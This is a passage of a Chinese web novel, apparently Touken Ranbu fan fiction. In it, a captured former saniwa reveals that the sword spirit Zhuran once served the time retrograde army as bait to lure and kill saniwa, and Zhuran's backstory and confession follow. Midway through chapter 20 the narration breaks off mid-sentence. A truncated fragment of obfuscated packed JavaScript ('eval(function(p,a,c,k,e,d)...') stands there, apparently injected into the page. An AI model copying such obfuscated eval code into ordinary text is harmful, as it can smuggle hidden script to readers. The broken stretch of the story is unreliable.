“毕竟跟那家伙比起来,你完全是小巫见大巫呢。”他的笑意不达眼底,但是嘴角的弧度却越来越大,他自顾自的继续说着,语气缱绻地像是在说自己的爱人一样: “我手把手地亲自教给他该怎么做一个付丧神,把我最重要的计划交付给他,我们曾经简直是形影不离。他很漂亮,很听话,也……很擅长假装自己有感情。” 听到这里信息量简直要爆炸了,感受到这股浓浓的恶意,山姥切国广已经要把被单盖住全脸了,桃濑灯里更是连呼吸都微微一滞:“你在说什么?” “真是失利,居然忘记了自我介绍。”男人完全无视了桃濑灯里的提问,他简直自大恶劣到极点,故作惊讶地笑了一下,眼神死死地盯着桃濑灯里,扔出了最重磅的炸弹: “我曾经审神者代号是春河,是祝染的前主人,也是一名时间溯行军,如你所见,被捕中哦。” 这个自称祝染前主人的男人,是时间溯行军? 桃濑灯里不可置信地瞪大了眼睛。 那祝染……岂不也…… 像是猜到了她在想什么,男人看起来心情很愉悦地点了点头,干脆利落的肯定道: “对哦,染酱以前也是时间溯行军的一员哦,他还是我们的大功臣呢。”男人的目光越过桃濑灯里,看向他身后的山姥切国广: “光是被他害死的山姥切国广这振刀,没准就有个一百振呢?” “所以……就是这样一振剑,你以为他现在听话,是因为他对你忠诚?”男人的笑容突然猛得收敛,换上了刺骨的冷意。 “他不过是在表演而已。他从诞生的那一刻起,就不懂忠诚是什么。” “明明只是想重新给他铭一个剑纹而已,他就跪在地上,看着我燃起那团火,哭着求我放过他。可当我伸手时,他却反手将剑指向我,几乎要砍掉我的脑袋呢。” 他被束缚在椅子上,后背稍稍向前倾,语调低沉下去,像毒蛇在耳边吐信一样恶毒:“宣誓的时候说的那么好听,就好像真的把我当成是自己的全部意义一样,但是背叛我时,下手可丝毫不留情。” 这熟悉的描述,历历在目的情景,让桃濑灯里的喉咙有些发紧。 “你说他……背叛你?” 刀剑付丧神的宣誓具有极强的束缚性,是比时之政府的那种灵力契约更加强硬的存在。 付丧神对人类宣誓自己的忠诚,誓言就会得到高天原神明的见证,那就相当于是交付出自己的全部,这振刀剑就真的会成为这个人生命的附庸。 不但无法违背契约伤害主人,甚至主人可以随意决定付丧神的生死。 所以祝染在见第一面的时候就宣誓,才会让桃濑灯里觉得虽然感动但是压力山大。 现在,这个人是在告诉她一切都是欺骗吗? “呵,他果然也对你宣誓了吧,也难怪。”男人眯起眼,笑意重新浮现:“毕竟那种誓言,对他来说不值一文,还可以轻而易举地骗到怜爱和信任,多值得啊。” “您该明白了吧?”他语调温柔得近乎可怖,“祝染是漂亮的,也是危险的。” “他能为任何一个人微笑,只要那个人能给他生存的意义。” 桃濑灯里怔在原地,心跳混乱得像是有人攥住了她的胸口。 那男人看着她的表情,满意地笑了:“我真好奇,他这次会对您笑到什么时候呢?” “什么献祭给神明的祭祀剑,不过是个被神明抛弃的,失格的伪物罢了。” 门被打开时,桃濑灯里才发现自己全身都冰冷无比。 等她浑浑噩噩地走出那间屋子,阳光照在脸上的瞬间,她甚至眯起了眼。 那一瞬间,祝染的脸在她脑海里像噩梦一样浮现出来——那张总是带着轻笑、漂亮又无害的,像樱花一般美丽的脸。 桃濑灯里深吸了一口气,压下心里的混乱。 “……他不会的。”她低声说,像是在说服别人,也像是在说服自己。 但那男人说过的话,却像一根毒刺一样嵌在她的脑海里,怎么也拔不掉。 19.七舅姥爷这里是祝染的回忆 刀剑付丧神的意识,是从被刀匠锻造出来的那一刻就诞生的。 只不过要从最开始稚童般的迷茫混沌,到形成自己独立的思考和性格,中间还需要经历漫长的岁月,经过历史与逸闻的打磨。 有时候还因为因为各种各样的意外,出现记忆被模糊或者丢失的情况。 比如一期一振和他的弟弟鲶尾藤四郎——在大阪城冲天的火光中,他们的本体几乎被烧毁,记忆也随之湮灭。 而付丧神们关于历史部分的、记忆的终点,大多停留在近代之前。 因为热武器时代的到来和时之政府的召唤,他们的目光不再停留在时空当中。 这些是祝染最近才知道的事情。 和他的经历完全不一样。 他的记忆,是从祝部国秀用剑自刎的那一刻,伴随着一片铺天盖地的红色突然开始的。 他已经记不清那天的风是从哪个方向吹来的了,祝部国秀倒下的那一刻,他的世界突然就吵闹了起来。 人类躯体沉重倒地的声音、围观人群嘈杂惊呼的声音,夏蝉烦躁鸣叫的声音、祭坛灯火燃烧的声音,就这么一股脑地冲进了他的世界里。 从那一刻起,虽然不知道为什么,但是他知道自己叫祝染。 吵死了,叽叽喳喳地围着个老头在干什么。 这老头又是谁,怎么自己往我身上撞。 而他后来才知道,倒在地上那个的那个老头,是铸造了他的刀匠。 某种意义上讲,开局即丧父。 之后他被安静妥帖地收藏起来,据说那里是天皇的宝库,而他是那位死去的刀匠敬献给天皇的,用来祭神的礼物。 天皇似乎不知道他身上这段与生俱来的污点。 那段时间是百无聊赖的,宝库里什么人都没有,只有一堆数着数着就会感到烦躁的珠宝,和很快就能翻到头的书卷画卷。 他只能从偶尔会路过的仆从那里听一些闲言碎语的故事。 时间久了,虽然没见过他们口中所的那些贵女宫妃,但是他已经知道了她们谁喜欢月季但是对月季过敏,谁和自己的青梅竹马曾经相爱但是被迫分开了。 宫斗的故事、恋爱的故事、朝堂吵架的故事,从新鲜听到厌倦只需要很短的时间。 然后,实在无聊的时候,他就花很长、很长的时间去思考,为什么打造了他的刀匠要用它来自刎。 为什么天皇收藏了他,又不使用它。 这些奇怪的人类到底需不需要他。 前者无论如何都得不到一个答案,后者很快就迎来了历史的答案: 这位收藏他的六条天皇,他名义上的第一位所有者,是一个过分年幼的小孩子,从他登上皇位到他禅让退位,再到他患病驾崩,他的身高都没有祝染的本体长。 这样的小孩子,要怎么穿着沉重的冠冕、再捧着它,走上高高的祭坛,把它献给神呢。 祝染倒也不是心疼小孩,主要是心疼自己。 这天皇病怏怏的,路都走不稳,再把它摔到磕了碰了,那就无妄之灾了。 天皇死后,他倒是参加了祭祀天皇的丧仪。 虽然终于被摆在了祭坛上,算是在干自己的本职工作了,但是祝染并没有很高兴。 这些人口中口口声声说的神明大人,真的存在吗? 虽然名义上作为献给神的礼物,他要承担跟神明沟通的责任,但是完全没回应啊。 那如果这样的话,他的存在还有意义吗? 那一天,祭坛下乌泱泱的人群们都统一着一副哭丧的表情,向神明许愿保佑那位倒霉的小上皇在天之灵。 祝染看在眼中,也趁机偷偷许愿希望自己能遇到一个好主人。 毕竟刀匠刚出场就杀青了,第一任主人也被他送走了,虽然不是他的错,但听上去还是有些晦气的。 然后,他就开始了频繁的搬家,从皇室的宝库中被带走,带去一个又一个新的、陌生的、但是同样千篇一律的新的仓库。 唉,这就是没有父母庇护的孩子吗。 唉,东亚原生家庭。 唉,祝部国秀,六条天皇。 祝染很惆怅。 在这些新的所有者中,他们有人说他太漂亮,不该蒙尘;有人说他太过隆重,不该被轻易拔出。 祝染不喜欢他们,这些男男女女虽然大多位高权重、相貌精致,但是他们眼睛里都只能看到一些无趣的东西,看不到他。 每一个照顾他的人都说喜欢他,但说这句话的时候,没有一个人的目光落在他的身上。 漂亮话和说他漂亮的话都已经听腻了,说点他不知道的。 生活就是这样的枯燥乏味,他最初会数日子。 认真地记——春去几次,花落几回,这是第几个主人。 再后来,他学会了放弃。 任由那些数字都会在风里碎掉,没有意义。 又过了不知道多久,等他反应过来的时候,已经被辗转到了海外,被金发碧眼、说着听不懂的语言的人以“稀有的东方古剑”之名,收入他们国家皇家的宝库。 他还挺喜欢这个地方的—— 可能是因为文化差异的关系,这些人得到了什么宝贝就要大大方方地炫耀出来,连带着他出门透气的机会都多了起来。 再后来,又进了一个名叫博物馆的地方。 那是一个光洁、安静到发冷的地方。 有透明的玻璃柜,柔和的灯光,奇形怪状的据说是其他国家的宝物,还有每三小时一次的警卫巡逻。 但是没有和他一样的存在,也没有人会知道有他这样的存在。 ——他在那儿又“生活”了不知多少年。 经常有人会在他面前拍照,有人低声惊叹,也有人在他面前接吻、吵架、摔东西。 他也会偶尔兴致盎然地和他们进行看不见的互动,但大部分时间都是无聊的。 他记得有一对中日情侣总在他的柜子前爆发一些很好笑的争执。 来自东方的女孩有一次说:“如果不是这样的话,我跟你姓。” 本来还在据理力争的男孩则突然红了脸。 改姓啊,这跟求婚有什么差别。 唉,中日文化差异。 作为来自日本的剑,祝染很懂这个日本小伙。 然后女孩被气到跺脚跑出去,男孩摔碎了手里的可乐罐,汽水溅在地板上,他慌忙地去擦。 祝染看着那滩气泡缓缓地化成一滩,心里忽然冒出一个念头—— “好可惜啊,不知道是什么味道,我也想喝。” 要是有身体就好了。 他一直都很擅长学习,也因为无聊,大部分时间都在让自己去学习。 在仓库里的时候,他看着那些大人物们的珍藏学会了诗歌和乐章。 在博物馆沉默的岁月里,他学会了演奏展馆里的钢琴,学会了英语、法语、德语,听得懂各种各样的“我爱你”和“对不起”,可他没学会过“该怎么生活”。 偶尔,管理者会替换展柜上的标签。< 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有风,有火光,有血的气息在空气里流动。 然后,他听见了一声轻响。 身体在那一刻出现了——骨骼、皮肤、呼吸,全都随着一阵刺痛拼接成型。 这就是痛感吗,他不喜欢。 他第一次看见自己的手——那是他从未拥有过的形态,纤细、苍白,指尖微微颤抖。 “……这是……我吗?” 没有人回答他。 那些人只是目光灼热地注视着他,眼底藏着一种诡异的兴奋。 这样的眼神,他从前在祭坛上也见过,和那些狂热的‘神’的信徒们如出一辙。 有人伸手,拉起了他的手:“从今天起,你是我的刀剑付丧神了,我是你的主人,我叫春河。” “欢迎加入时间溯行军。” 他不懂“溯行军”是什么意思,但是主人这个东西,虽然遇到了很多,但他一个也没打算承认。 祝染心理悄悄吐槽。 但他们刚刚说,他是付丧神? 原来我自己也是神明吗?既然是神的话,那就应该要满足信徒的愿望吧? 从神明的中介直接跳槽成新上岗的“神明”祝染觉得这份新工作很有意思。 那些人对他说:“你能帮我们改变历史,让世界变得更好。” 他觉得他们的眼神也像他出国前看到的那些人一样很无趣,但是至少他们让他回国了,不用再去听叽里咕噜的外语。 也算是让他从孤寂的虚无里找到了一个落脚处。 “我需要你对我宣誓效忠。”自称春河的男人这样对他要求道。 他看着眼前那人——他上半张脸戴着白色的面具,声音温和,语调几乎像哄睡。 “……好啊。” 祝染学着刚刚他们的样子勾起了嘴角,低声说出了他的第一句回应。 于是他们也笑了起来。 火焰升起,符文光芒闪烁,他站在中央,手里握着那柄终于能被他握在手中的剑,按照他们的要求,声音清亮而虔诚地说出誓词。 “祝染,此时此刻,誓以吾身效忠于您,” 他那时天真地以为那是一个不错的开始,会是一段很有趣的经历。 后来才明白,那是比被收藏还要煎熬的噩梦。 20.七舅姥爷这里染的军旅生活 理想是丰满的,现实是骨感的。 出身名门、向来随心所欲的九条春人,前半辈子和这句话一点边也不沾。 钱权名利过早地熏陶了他的欲望,生活中的一切对他来说都触手可及,太无趣了。 这样单调乏味的日子,一直持续到一个自称是“狐之助”的狐狸型式神在夜晚出现,邀请他去成为什么“审神者”,为保护历史而战。 九条春人当场就接受了,审神者“春河”自此诞生。 但当然不是为了什么历史,而是因为这个家伙说,成为审神者就可以拥有无数刀剑付丧神为他所用。 付丧神,末流的神明,他没有得到过的,新的玩具。 九条春人对此很感兴趣。 到了时之政府,他凭借着自己卓越的才华和家世混得如鱼得水,哪怕是偶有出格,政府官员对他的行为也是心照不宣。 后来即使时政改朝换代,他因为虐待、碎刀等行为,被那群付丧神本灵的清洗计划通缉,九条春人也提前得到了消息而及时跑路,加入了时间溯行军。 就是这样一个人生如此一帆风顺、现在更是百无禁忌的人,从来没想过自己会有一天,会因为一个区区付丧神,如此挫败。 都是溯行军那个新诞生的付丧神的错,他太诡异了。 祝染是溯行军召唤出来的,而春河,只不过是被选中的、一个可以和他签订契约的,名义上的主人。 毕竟时间溯行军成分虽然复杂,有溯行军本部、苦无部队、暗堕付丧神,还有一些当年投靠过来的审神者,但只有这些人类审神者还能提供灵力、和付丧神签订契约。 时间溯行军的主要工作是改变历史节点,次要业务则是寻找、围剿普通的本丸,掠夺资源。 祝染既然是溯行军的一员了,当然也要加入这些工作,这是企业文化,也是服从性测试。 他不抵触,但也没有在配合。 他们让他去清扫战场、确保没有漏网之鱼,他点头,然后——只是站在废墟前,一动不动徒手打量。 “为什么不动?”时间溯行军的敌大太很崩溃。 “因为不想弄脏我的白手套。”祝染嫌弃地说。 不愧是本质非人的付丧神,他对自己在做的事情的善恶没有兴趣,也不会感到愧疚。 但是他会对自己的生活品质有要求。 毫无组织纪律性,毫无积极进取心,那样的回答让人抓狂。 都参军了,还在挑三拣四。 这里可是时间溯行军,哪怕是暗堕的明石国行,在这里都是要干活的。 “那就把他派去前线,敌人的刀都在眼前了,他还能为了衣服干净不战斗吗?”一把莫名其妙被拉来做对比的、干活的暗堕明石国行如此提议道。 结果也是让人大跌眼镜。 作为刀剑付丧神的祝染,并不擅长战斗,甚至可以说是完全不会战斗。 大敌当前确实是不划水了,纯菜。 干干净净地出门,惨不忍睹地回营,一看战绩跟没出门一样,还要浪费大量的资源去修复他。 本来溯行军的资源就稀缺,现在还要消耗在这把剑身上。 他们溯行军的团队,有勇猛的虎、善战的狼、狡猾的鹰、领头的羊。 而祝染是吃白饭的狗。 溯行军内部的研究者们开始焦躁、开始失去耐心—— 毕竟他们大费周章地从古籍中找到和时政截然不同的方法、从海外把祝染的本体偷渡回国、把他召唤出来,可不是为了伺候一个祖宗的。 但是实在是召唤的条件实在是太苛刻了,又舍不得把他毁掉。 “他长得这么漂亮,扔了太可惜。”那天,一个前审神者一边喝酒,一边似笑非笑地感叹道。 “那就换个用途好了。”这个时候,九条春人站了出来。 他们笑着讨论着,轻描淡写地像分配着一件无用但昂贵的饰品一样,决定了祝染的新工作。 那天晚上,祝染被带到了溯行军行刑的军帐里,空气中满是铁锈和鲜血的腥味,地上也还有着半干不干的泥土。 他们让他脱掉上衣,只穿着里面的白衬衫在地上滚一圈。 春河说:“现在开始,你要看起来像人类一点。” 抛开白发粉瞳这种配置不说,哪有人类像我这么漂亮。 已经习惯了躯壳,并且观察对自己的美貌有了明确认知的祝染白眼都快翻到天上去了。 这么脏、这么莫名其妙的要求,他当然死也不愿意。 然后他就被春河笑眯眯地按着肩膀,一把推倒在了地上,紧接着被猛踹一脚,如其所愿地在地上滚了几圈,超额完成任务。 这措不及防的动作让祝染直接大脑宕机,爬起来的时候连发火都忘了,只是愣愣地看着春河。 “怎么能违背我的命令呢,主人好伤心啊。”春河说着这话,表情却丝毫未变,还是那种波澜不惊的笑容。 “祝染,你应该感谢我的。”春河的温柔如同毒药一般,他的笑容里没有温暖,只有冷酷的控制,冰凉的手像铁钳一样死死地捏着祝染的下巴,看着他的眼睛,慢条斯理地说着: “刀剑的作用就是为主人实现愿望,尤其你还是把祭祀剑,这么简单的道理,你这么聪明应该一直很清楚吧。” “但你呢?你从诞生之日起,有实现过任何人的愿望吗,你有做到你应该做的吗?” “你不觉得自己有点太没用了吗,或许就是因为这种原因,时之政府那边和付丧神签订契约都没有找你呢。” “都是因为和我签订契约,你现在才能以这样的姿态存在啊。” “所以说,要对我心怀感恩啊,毕竟,我才是给了你生命的人。” 说到这里,他叹了一口气:“虽然我真的很不懂你在骄傲些什么,但是没关系,傲气的染酱我也很喜欢。” 但是下一刻,他的脸色就瞬间阴沉了下来: “但是,我的耐心也是有限度的,一事无成的剑,本来就应该被碎掉。” “碎刀的过程染酱见过吧?虽然很舍不得,但是你这么漂亮,碎成那样一定更漂亮。” 此时的祝染,已经完全被震摄住了,整个刃僵硬地一动不动,只有瞳孔惊恐的收缩在显示着他还在听、听进去了。 春河说的很对,他确实是一把什么用都没有的、一事无成的剑。 他没有被使用过,没有和人相伴或者守护过任何人的历史逸闻,在遇到这群溯行军之前,他连自己是什么都不知道。 但是他才刚开始能摸到他数千年前就想摸的水流、树叶,弹奏他已经心里练习了几千几万次的乐谱。 他不想被碎掉,他的生活才刚刚开始。 “以后千万要记住听主人的话呀,毕竟我们可是有契约在的。”春河一边给祝染的眼睛缠上绷带、穿上破损的外套,一边漫不经心地用一把短刀在祝染的身上比划着。 他早就对时间溯行军和那群暗堕刀们对祝染这种半散养的做法感到不满了,现在终于职权在手,践行他的理念。 一把刀剑而已,就算确实有几分姿色,终究也不过是人手里的工具。 不听话的工具,自然没有存在的必要。 刀锋从衣服外面划过皮肤的时候,祝染也没有动。 猩红的血沿着他过白的皮肤流下,亮到发烫。 春河笑了:“很好,这样才像真的。” “从今天起,你的任务是诱饵。” “你要在战场上假装是受伤的人类审神者,引他们靠近,再由我们狩猎。” “好啦,别哭丧着一张脸了,我会心疼的。” 在他微笑的注视下,祝染顶着视线不清的纱布,朝着声音的方向勉强地挤出一个笑容点头:“明白了,主人。” 执行命令的话,就是有用的付丧神,就可以有存活下去的价值。 从那天起,他怀抱着这样的信念,开始了他的诱饵工作。 大部分时候他连话都不用讲,只需要按照春河他们教的那样,穿着破破烂烂的衣服、坐在指定的战场的废墟上。 远处就很快会有脚步声传过来,然后被淹没在惊叫和砍刀声中。 偶尔需要诱敌深入,或者深入敌营去卧底坐标,必须要跟这些时之政府的审神者说上两句的时候,也都是提前编好的谎话。 这样的情节一次又一次重复。 透过纱布模糊的轮廓,他见过许多脸——年轻的,年老的,男人,女人。 他们看见他,都会露出同样的表情——怜悯。 有人递水,有人试着包扎。 还有人笑着说:“没关系,我不会丢下你的。” 然后,他们就会死了。 他就这么看着他们死去,看着血流到地上,看着人类和他相似的躯体渐渐变冷。 然后就等着溯行军把他拉起来喊他收工就好。 祝染对此感到无所谓,这只是一份工作。 虽然他不懂为什么祭祀剑要工作,但是他需要存在下去的价值。 只是偶尔会有点……想吐。 感觉胸口像是被石头压住了,有什么东西在其中被拧成一团。 直到有一天,他被营帐外陌生的脚步声吵醒,发现溯行军的营地一片残破,只剩下了他自己。 一个中年女子走进他的帐篷,也如其他人那般对他伸出了手,说:“你还好吗?我马上带你离开这里。” 这一次他没有戴绷带,能够很明显地看到她清澈的眼底。 ……那样的情绪,是什么意思? 那一瞬间,祝染不明白。 他不明白为什么她会如此。 他的外貌肉眼可见的不像是人类,没了纱布的遮挡更是明显。 但她没有质问他为何在这里,也不问他和溯行军的关系,而是直接伸手将他拉起,轻声安慰:“别怕,我带你走。” 温暖的触碰,那种从未有人给予的感觉,让他心中一动。 人类的手原来是暖的吗?春河的体温也是这样的吗? 这就是时之政府的审神者吗,她那边的刀剑付丧神是怎么被治愈的,就是用这双手吗? 他没有动,静静地看着她,心里第一次有了疑问。 他默默地思考着,原本无动于衷的内心,开始有了微小的波动。 最后他皱了皱眉,有些别扭地说出了他干这一行以来的第一句原创台词:“别碰,疼。” “你先出去,这里不需要你。” 赶紧走,离这里越远越好。 反正现在溯行军又不在这,这一次他们也没跟他彩排过。 虽然看起来伤痕累累也很疲惫,但是女人还是对他笑着: “没关系,我会帮你处理的。现在我们先一起走,好吗?” 她的笑容像光。 但是就在那一瞬间,战场的阴影同样里闪过冰冷的光。 是他们——溯行军的同伙。 女人几乎没反应过来,便被太刀斩成两截。 她倒在祝染怀里,睫毛轻轻颤了两下,就再也没动。 鲜血溅在他脸上,像沸腾的油点一样灼烧皮肤,溯行军们在笑: “干得好,染酱,果然你最合适这个角色。” 他抬头看他们,不知道为什么,胸口有点痛。 那种感觉很奇怪,不是伤口的痛。 是……别的什么。 但最后他只是撇了撇嘴,嫌弃地从地上爬了起来: “脏死了,下次不许把血溅到我。” 接下来的战斗中,他依旧按照命令行事,继续把那些在战场上滥发慈悲的审神者和他们的付丧神的生命带进到死亡的陷阱里。 然而,当鲜血一次又一次溅在他脸上的时候,以前从来没有过的悔恼总会涌上心头一瞬间。 他开始感受到自己行为的错误与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他低声笑着,像是在安抚一只宠物。 空气里有燃烧着的咸金属的气味让祝染本能地往后退了一步。 金环烫在皮肤上的时候,他几乎听见自己的血在冒泡,那是一种无法描述的痛——像灵魂被火舌舔过。 听见自己在喘息,却发不出任何声音。 “记住了吗?” “你要侍奉谁?” 春河的声音越来越近。 祝染看着他,眼前的世界一点点扭曲。 恶心的感觉又一次涌上心头。 不仅是对春河——也是对他自己。 那个任由自己被使用的“祝染”,那个被动服从的影子。 这样恶心的人类和这样卑劣的他,他都不喜欢,不漂亮的事物,不该继续存在。 正好有契约,那就一起死吧。 他抬手。 春河的眼里闪过一瞬间的惊讶,下一刻,他的身体被像祝染曾经一样推倒在地。 金环从他手里滚落,烫得发出一声清脆的响。 他挣扎着抬头,终于露出了笑容之外真实而丑陋的表情,他的眼里没有愤怒,只有难以置信: “你能违背契约!” “看来连神明都不要你……残缺的付丧神!” 他的话还没念完,剑已经切开他的喉口,没说完的话随着血泡咕噜咕噜地消散在空气里。 “连誓言都没用的失败品!” 祝染低头,看着鲜血顺着剑刃流下,落在地面,那声音轻微,却清晰得刺耳。 他的胸口没有痛,没有反噬、灼烧,没有灵魂的崩裂。 只是安静。 他自由了,又一次失去了一位无足轻重的主人。 房间很静,只剩下燃尽的烙印香气。 他蹲下来,用刚刚被烙印的那只手伸手碰了碰那枚金环。 早已冷却,边缘有一丝血迹,分不清是他的还是春河溅上去的。 他看着它,忽然觉得有点想笑。 ——这样的存在,怎么可能能够当什么神明,还实现别人的愿望。 明明他连誓言都无人见证,被神抛弃都抛弃的这么彻底。 夜已经深了,雨停了,但空气里仍然是潮湿的味道。 坐在废弃仓库的角落里,祝染目光沉沉地盯着那口沉睡的剑匣。 剑身冰冷,像一具没有心跳的身体。 那就是他。 既不是人,也不是神。 连誓言都不会应验的、被放错地方的付丧神。 神明讨厌不洁净的东西,所以他仔细地擦拭了本体的每一处细节,然后慢慢把自己放回剑匣。 盖上盖子的时候,木质的声响就像回到祭坛上。 等溯行军找到他,随便他们怎么处置吧,既然是他们造的孽,那也还给他们来结束。 染酱我呀,不干了。 他趴在剑匣上放松地合上眼,第一次主动去迎接那种“沉入”的感觉。 如果有来世,希望能做一把普通的刀。 他的第一志愿是切酸酸甜甜的草莓冰淇淋蛋糕。 …… 再睁眼的时候,祝染闻到了樱花的香气,柔和的光从纸窗透进来,柔和得像是梦。 一屋子付丧神的围绕下,陌生的女孩小心翼翼地用着他还算熟悉的外语在跟他打招呼,眼神清澈地似曾相识。 他愣了很久,才反应过来,但在被要求自我介绍的时候,又不知道该说什么,于是他下意识地,学着溯行军教过的那种姿势,单膝跪下。 “祀剑祝染。” “无往无前,从此为您而战。” 他心底明白誓言依然是空的,但他还是笑了。 即使是假的,也没关系。 只要不走到相同的道路,眼前的女孩不会知道。 只要能被一个人“需要”,哪怕只是错觉,也足够温暖。 21.七舅姥爷祝染自爆了 听完桃濑灯里在时政遇到春河的事情,祝染沉默了很久。 他原本放在膝上的手指微微蜷起,指节发白,眼神冷得吓人。 “残缺的付丧神…….连誓言都没用的失败品!” 春河留下的话像回声一样,在他的记忆中嗡嗡作响。 他完全没想到,春河看起来是个再再普通不过的人类,居然会这么难杀—— 明明气管都被切开了。 就算他当时不会用剑,这个生命力也太超标了。 明明应该老老实实闭嘴死掉的家伙,这个时候为什么还要再回来。 在溯行军的时候,祝染就知道了自己和别的刀剑付丧神不一样:没有值得被记录的歌颂逸闻,他的诞生只是一场溯行军的实验。 虽然对于溯行军在做的事情没什么归属感,但他是感激溯行军的,是他们带给了他人类似的躯体,让他不用继续躺在宝箱中或者玻璃柜中无人问津。 所以,在杀死春河之后,他也把选择销毁自己的机会给了溯行军。 但是他们那个时候不解决他,现在又跳了出来,开始打扰他的新生活。 明明在这座本丸里,他已经学会了战斗、知道了付丧神存在的意义。 能在本丸里吃饭、聊天、和鹤丸一起恶作剧,会因为和小龙景光一起给乱藤四郎辫发型、帮桃濑灯里辅导英语而感到幸福。 这种历经千年才得到的,温暖的实感,一度让祝染觉得自己真正的学会了“生活”这个动词。 他是真的想留下来的。。 但偏偏在这个时候,桃濑灯里知道了这一切,那段在世俗眼光里堪称是“案底”的经历,化作阴翳又再一次压下来,嘲笑他愚蠢的天真。 气氛的紧绷就像一根快要断裂的弦。 窗外的风静止,连纸门都不再晃动。 “……所以,”祝染的声音低低的,带着一点前所未有的嘶哑,“姬君,春河说的话,你相信了多少?” “祝染。”桃濑灯里试图去看向祝染的眼睛,视线却被他回避,她抿了抿唇,对此避而不答。 这一趟外出带给她的信息量太大了,让她的思绪完全乱成了一团,此时她有太多想问清楚的事情。 “你真的是溯行军吗,还有……那个誓言又是怎么一回事。”桃濑灯里选择了她最关心的两个问题。 而此时,祝染恰巧抬起头来和她对视,暗粉色的眸子在灯光下明暗不定。 他没有正面回应,语气淡得几乎透明:“你来问我这些,是想确认我是不是骗子,想知道自己是不是被骗了?” “我——”桃濑灯里想开口,但发现自己也不知道到底是哪一种可能。 她徒然地长了张嘴,最后斟酌着开口:“我没觉得你在骗我,所以我想要你亲口告诉到底是什么情况。” 经过这段不长但也绝对不算短的时间的相处,她已经发自内心地接受了祝染的存在。 对方虽然花钱如流水,还和鹤丸国永一起恶作剧,搞得本丸鸡飞狗跳,甚至在辅导她英语的时候,对她的嫌弃不带掩饰,模样特别找打,但是同时,他也很温柔开朗。 祝染会在鼓励、甚至是撺掇山姥切国广向她提出需求,会跟着烛台切光忠一起烤饼干给大家,会在一期一振忙不过来的时候,替他去照顾弟弟。 桃濑灯里能够看得出来,他是真的想融入本丸的大家的。 万一呢,万一那个人是祝染曾经的仇人,是在栽赃他。 毕竟都是囚犯了,想要鱼死网破拉一个祝染垫背也不是不可能。 她抿紧唇瓣,手指在袖口里颤抖,却死死盯着祝染。 真的,可能吗? 而听到桃濑灯里的话,祝染笑了,那笑容极轻松,眼底却像挂着一层霜:“亲口?那姬君想要什么样的答案?以为我会说出一些不一样的话或者否认吗?” 他的笑意更深了一点,眼底的那层薄霜彻底碎裂,露出里面一片惨淡的真相: “那不好意思了,我确实和春河签过契约,也确实曾经——属于溯行军。” 他如此坦诚的态度,噎得桃濑灯里呼吸一滞,也彻底打碎了她虚幻的希望。 她有预感,接下来会听到很多她不想听的内容,但是她的喉咙里像是堵了一块冰,说不出打断的话语。 如果祝染真的是溯行军,那她就不能能继续用这么轻松的心态面对他了—— 这是对本丸的不负责任。 在她的注视之下,祝染抬起手,细长的指尖绕过自己的发梢,指甲上还带着加州清光指甲油的试色,语气平静得像在说别人的故事: “溯行军没有炊事班,我也不是什么后勤,我就是你想的那种,会狩猎审神者和付丧神的,溯行军的主力部队。” 话落,他眼中瞬间闪过一抹掩饰不住的迷茫与痛苦。 既然已经暴露,那就让真相更清晰一点,更残酷一点好了。 明明他最开始是没想隐瞒这些的,和桃濑灯里对谈的第一次,他就开诚布公地把询问的权利交给了对方。 虽然她不问他不说,如果她那个时候就问的话,祝染绝对会很坦诚地承认。 然后像杀掉春河一样杀掉她。 至于后续会不会死,会不会被时政通缉,连溯行军都回不去他要去哪里,管他呢。 他的一生都在无主地漂泊,被刀匠抛弃、被主人嫌弃、被神遗弃。 又一次从剑匣中被取出的时候,他就已经下定了决心。 既然溯行军没有选择销毁他,那他之后的命运就由他自己来支配,走到哪里算哪里。 但是,偏偏她没有问,偏偏他在这座本丸里留下来,开始对他们产生感情。 祝染的内心一直都是纠结和不安交织的。 从他来到这座本丸的时候,欺骗就开始了。 他知道留在任何一个本丸,都会给对方带去麻烦,他的存在本身就是一种错误。 但他还是选择了宣誓,留下来。 本来想的只是能偷来一天就算一天,等到时之政府真的来人了,他就逃之夭夭。 他知道桃濑灯里是一个无辜的、甚至极好的审神者,但他却永远无法满足她的期待。 但是他也会不甘心。 凭什么其他的付丧神,生来就有爱他们的刀匠、主人,有本丸和审神者,而他要在漫长的时空里体会无尽的漂泊和孤独,甚至连誓言都不被见证。 如果没有人在意他,那就由他来给自己争取。 然而,在和本丸的付丧神、还有桃濑灯里的相处过程当中,他愈发明白自己这种想法的卑鄙和无耻。 就像当年他在溯行军通过残害审神者来换取生存价值一样,现在的他,一边享受着这座本丸的温暖,一边把风险带给他们。 有无数个瞬间,他甚至想自己偷偷去时政自首。 哪怕是碎刀也无所谓,不过是又一次回归虚无。 但是懦弱和贪婪让他选择了拖延。 他一次又一次地骗自己就只再多待一天,然后一天又一天。 最后,祝染下定了决心,如果时之政府真的到来,那他就跟着他们走。 然后一力承担下所有的责任,告诉政府都是他的问题,是他骗了这座本丸。 午夜梦回的时候,他想过这一天的到来、期待过这一天永远不会到来,也惴惴不安地预想过很多种应对的方案。 可是每当真正面对桃濑灯里的眼神时,他还是无法掌控自己的情绪。 靠隐瞒得到的真实的爱,最后也会变成真实的、刺入他心头的尖锐刀锋,让他更加无法冷静下来。 桃濑灯里的询问,破开了他心中那层脆弱的防线,在那个破碎的瞬间,所有藏在心底的不安、怨恨、不甘,如同喷发的火山一般,毫不留情地爆发出来。 “我、我不是这个意思——” 明明是追问的一方,但是在接触到自己想要的真相之后,桃濑灯里反而有些想逃避。 听着祝染毫无保留的自爆,她手足无措地想解释自己的想法。 她不是想质问他,就算是溯行军,是绝对的对立面,她也不相信自己接触到的祝染完全是假的。 她想知道他曾经发生了什么,她愿意给祝染一个机会。 “我、我只是…….”可偏偏话到嘴边,她又说不清楚自己到底想要什么。 “你只是想要一个安心的答案,对吧?” 祝染接下她的话:“可是我给不了你,春河说的全都是实话。” “溯行军是真的,我害人无数、罄竹难书。誓言是假的,就是一句空话,我想说多少遍就说多少遍,即使不是对着你也可以是对其他人。” 这句话从祝染口中脱出时,他心口骤然一空,仿佛真把自己心脏掏出来摔在地上。 可偏偏,他只能笑着把这句话说得像嘲讽。 那不是谎话,而是最残酷的真相。 他已经下定了决心不再把这幕蹩脚的谎言剧演下去,所以在情绪上,他要先摧毁一切、以免再一次被摧毁。 